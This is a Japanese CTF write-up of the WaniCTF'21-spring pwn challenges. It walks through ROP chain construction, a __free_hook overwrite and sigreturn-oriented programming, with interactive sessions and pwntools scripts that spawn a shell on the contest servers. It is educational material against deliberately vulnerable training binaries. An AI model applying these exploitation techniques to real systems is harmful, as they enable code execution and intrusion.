WaniCTF'21-spring Writeup

https://score.wanictf.org/score.wanictf.org

目次

成績

f:id:kisaragi211:20210503104946p:plain
pwnだけ挑戦して全体では157位でした。
VeryHardが2問解けず悔しい結果となりました。

Writeup

Pwn

netcat

ncでアクセスしてcat flag.txtするだけ。

rop machine easy

# nc rop-easy.pwn.wanictf.org 9003

"/bin/sh" address is 0x404070

[menu]
1. append hex value
2. append "pop rdi; ret" addr
3. append "system" addr
8. show menu (this one)
9. show rop_arena
0. execute rop
> 2
"pop rdi; ret" is appended
> 1
hex value?: 0x404070
0x0000000000404070 is appended
> 3
"system" is appended
> 0
     rop_arena
+--------------------+
| pop rdi; ret       |<- rop start
+--------------------+
| 0x0000000000404070 |
+--------------------+
| system             |
+--------------------+
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{this-is-simple-return-oriented-programming}

free hook

__free_hook = system;によってfreeの動作がsystemになっているのでfree("/bin/sh")system("/bin/sh")として動きます。
なので/bin/shをメモしてそれを削除するとシェルが立ち上がります。

# nc free.pwn.wanictf.org 9002
1: add memo
2: view memo
9: del memo
command?: 1
index?[0-9]: 0
memo?: /bin/sh



[[[list memos]]]
***** 0 *****
/bin/sh


1: add memo
2: view memo
9: del memo
command?: 9
index?[0-9]: 0
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{malloc_hook_is_a_tech_for_heap_exploitation}

rop machine normal

syscallした関数でシェルを立ち上げるみたいなのでexecve("/bin/sh", NULL, NULL);の実行を目指します。
引数は第一引数から,rdi,rsi,rdxとなっているのでそれぞれに値を設定します。
raxは呼びたいシステムコールの番号を設定します。
システムコール番号は

$ grep execve /usr/include/asm/unistd_64.h 
#define __NR_execve 59

か、もしくは

$ sudo apt install -y auditd
$ ausyscall execve
execve             59

で検索できます。
今回は値を16進数で設定するので0x3bを設定します。
もろもろ値が設定できたら最後にsyscallを読んで終わりです。

# nc rop-normal.pwn.wanictf.org 9004

"/bin/sh" address is 0x404070

[menu]
1. append hex value
2. append "pop rdi; ret" addr
3. append "pop rsi; ret" addr
4. append "pop rdx; ret" addr
5. append "pop rax; ret" addr
6. append "syscall; ret" addr
8. show menu (this one)
9. show rop_arena
0. execute rop
> 5
"pop rax; ret" is appended
> 1
hex value?: 0x3b
0x000000000000003b is appended
> 2
"pop rdi; ret" is appended
> 1
hex value?: 0x404070
0x0000000000404070 is appended
> 3
"pop rsi; ret" is appended
> 1
hex value?: 0
0x0000000000000000 is appended
> 4
"pop rdx; ret" is appended
> 1
hex value?: 0
0x0000000000000000 is appended
> 6
"syscall; ret" is appended
> 0
     rop_arena
+--------------------+
| pop rax; ret       |<- rop start
+--------------------+
| 0x000000000000003b |
+--------------------+
| pop rdi; ret       |
+--------------------+
| 0x0000000000404070 |
+--------------------+
| pop rsi; ret       |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| pop rdx; ret       |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| syscall; ret       |
+--------------------+
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{now-you-can-call-any-system-calls-with-syscall}

rop machine hard

やることは rop machine normal と同じ。
しかし、pop rdi などのガジェットは自分でアドレスを求めなければいけない。
rp-lin-x64を使えばそこら辺はok.
pop rsiだけ探してもpop rsi; pop r15; ret;しかなかったのでそれを使った。
execveにセットする/bin/shグローバル変数として用意されていたのでgdbからアドレスを参照した。
ここは適した別の方法がありそう。

gdb-peda$ x/32xw 0x404078
0x404078 <binsh>: 0x6e69622f  0x0068732f  0x00000000  0x00000000
0x404088:   0x00000000  0x00000000  0x00000000  0x00000000
0x404098:   0x00000000  0x00000000  0x00000000  0x00000000
0x4040a8 <completed>: 0x00000000  0x00000000  Cannot access memory at address 0x4040b0
gdb-peda$ p &binsh
$1 = (<data variable, no debug info> *) 0x404078 <binsh>

必要な値が揃ったらあとはやるだけ。

from pwn import *

#s = process('./pwn05')
s = remote('rop-hard.pwn.wanictf.org', 9005)
elf = ELF('./pwn05')

binsh = 0x404078
syscall = 0x004012b6
pop_rdi = 0x0040128f
pop_rsi_r15 = 0x00401611
pop_rdx = 0x0040129c
pop_rax = 0x004012a9


def append_hex(value):
    s.sendlineafter('> ', '1')
    s.sendlineafter('hex value?: ', hex(value))

def execute():
    s.sendlineafter('> ', '0')
    s.interactive()


append_hex(pop_rdi)
append_hex(binsh)
append_hex(pop_rsi_r15)
append_hex(0)
append_hex(0)
append_hex(pop_rdx)
append_hex(0)
append_hex(pop_rax)
append_hex(59)
append_hex(syscall)

execute()

実行結果

     rop_arena
+--------------------+
| 0x000000000040128f |<- rop start
+--------------------+
| 0x0000000000404078 |
+--------------------+
| 0x0000000000401611 |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| 0x000000000040129c |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| 0x00000000004012a9 |
+--------------------+
| 0x000000000000003b |
+--------------------+
| 0x00000000004012b6 |
+--------------------+
$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
FLAG{y0ur-next-step-is-to-use-pwntools}

SuperROP

SigReturn Oriented Programming, 通称SROPという解き方みたいです。

inaz2.hatenablog.com

こちらの記事を参考に解きました。
rspの位置がuc_flagsとなるので、必要なレジスタに値を設定して、それ以外にはダミーを設定することで任意のシステムコールが呼べるらしいです。
注意点としてはcsには0x33, ダミーは&fpstateまで設定しないと動きません。
あとこの問題に関してはsigreturnを呼ぶまでにpush命令が走り、思っているrspの位置とズレが生じるのでそこは適宜レジスタの値を確認しながら進める必要がありそうです。
まあ理解できればあとは簡単で、execve("/bin/sh", NULL, NULL)を呼び出せば良いです。

from pwn import *

#s = process('./pwn06')
s = remote('srop.pwn.wanictf.org', 9006)
elf = ELF('./pwn06')

rsp = int(s.recv(4096).decode('utf-8').split()[2], 16)
print(hex(rsp))

payload = b'/bin/sh\0'
payload += b'A' * (72 - len(payload) - 8)
payload += p64(0x401176) # call_syscall
payload += p64(0x401184) # set_rax

# push rbp                  # uc_flags
payload += p64(0)           # &uc_link
payload += p64(0)           # &ss_sp
payload += p64(0)           # ss_flags
payload += p64(0)           # ss_size
payload += p64(0) * 8       # r8-r15
payload += p64(rsp)         # rdi
payload += p64(0)           # rsi
payload += p64(rsp)         # rbp
payload += p64(0)           # rbx
payload += p64(0)           # rdx
payload += p64(59)          # rax
payload += p64(0)           # rcx
payload += p64(rsp)         # rsp
payload += p64(0x401176)    # rip
payload += p64(0)           # eflags
payload += p64(0x33)        # cs/gs/fs/ss
payload += p64(0) * 5       # err,trapno,oldmask,cr2,&fpstate

s.sendline(payload)
s.interactive()